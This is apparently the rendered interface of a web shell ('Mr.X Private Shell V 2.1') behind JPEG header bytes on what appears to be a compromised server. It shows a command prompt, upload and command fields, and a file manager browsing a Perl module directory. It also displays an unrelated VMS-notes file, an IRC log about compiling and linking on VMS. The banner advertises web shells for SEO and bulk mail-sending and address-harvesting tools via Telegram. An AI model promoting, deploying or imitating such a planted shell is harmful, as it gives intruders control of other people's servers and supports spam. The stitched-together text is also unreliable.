����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
http://perl-qa.hexten.net/wiki/index.php/Testing_on_VMS

---

15:32 <anomenat> well $Config{cc} will contain 'CC/DECC', which is the right 
                 command to use but "if -x $cc[0]" will fail
15:33 <anomenat> then "CC/DECC foo.c" will compile foo.c to foo.obj
15:37 <DrHyde> how do i pass include paths?
15:38 <anomenat> CC/DECC/INCLUDE_DIRECTORY=foo
15:39 <anomenat> I'm still trying to work out the best way to do the linking
                 bit though
15:40 <DrHyde> is CC/DECC/INCLUDE_DIRECTORY=foo/INCLUDE_DIRECTORY=bar valid?
15:41 <anomenat> yes
15:41 <DrHyde> hurrah!
15:41 <anomenat> I'm still trying to work out the best way to do linking though
16:17 <anomenat> well, buggered if I can find a standard place to put libraries
                 on VMS. There probably is one but my VMS skills are too weak. 
16:17 <anomenat> anyway, the command is just "LINK foo.obj, bar.obj" where foo 
                 is the previously compiled foo.c and bar is the library whose 
                 presence you are testing for
16:18 <anomenat> but it won't be very portable because "bar.obj" needs to be a 
                 proper path, unless it is a system library
16:26 <DrHyde> that's a good start, so thanks!
16:34 <anomenat> no problem. incidentally, VMS command line options can be 
                 shortened to their shortest unambiguous form, and so 
                 /include_directory can actually just be /inc
16:50 <anomenat> OK, it looks like SYS$LIBRARY is the VMS sort-of-equivalent of
                 /usr/lib on Linux
16:52 <anomenat> thus "LINK foo.obj, sys$library:vaxcrtl/share" links foo.obj
                 with the shared library vaxctrl
16:54 <anomenat> and "LINK foo.obj, sys$library:ucx$ipc/library" links foo.obj
                 with the static library ucx$ipc
16:54 <anomenat> also, "link/exe=bar.exe foo.obj" links foo.obj to create an
                 executable called bar.exe

Filemanager

Name Type Size Permission Actions
bin Folder 0755
blib Folder 0755
lib Folder 0755
t Folder 0755
CHANGES File 3.31 KB 0644
MANIFEST File 517 B 0644
META.json File 1.32 KB 0664
META.yml File 776 B 0664
MYMETA.json File 1.32 KB 0644
MYMETA.yml File 777 B 0644
Makefile File 30.93 KB 0644
Makefile.PL File 2.37 KB 0644
README File 257 B 0644
TODO File 29 B 0644
VMS-notes File 1.87 KB 0644
pm_to_blib File 0 B 0644